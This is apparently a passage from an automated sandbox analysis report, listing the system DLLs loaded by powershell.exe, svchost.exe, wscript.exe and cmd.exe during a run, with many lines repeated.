Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
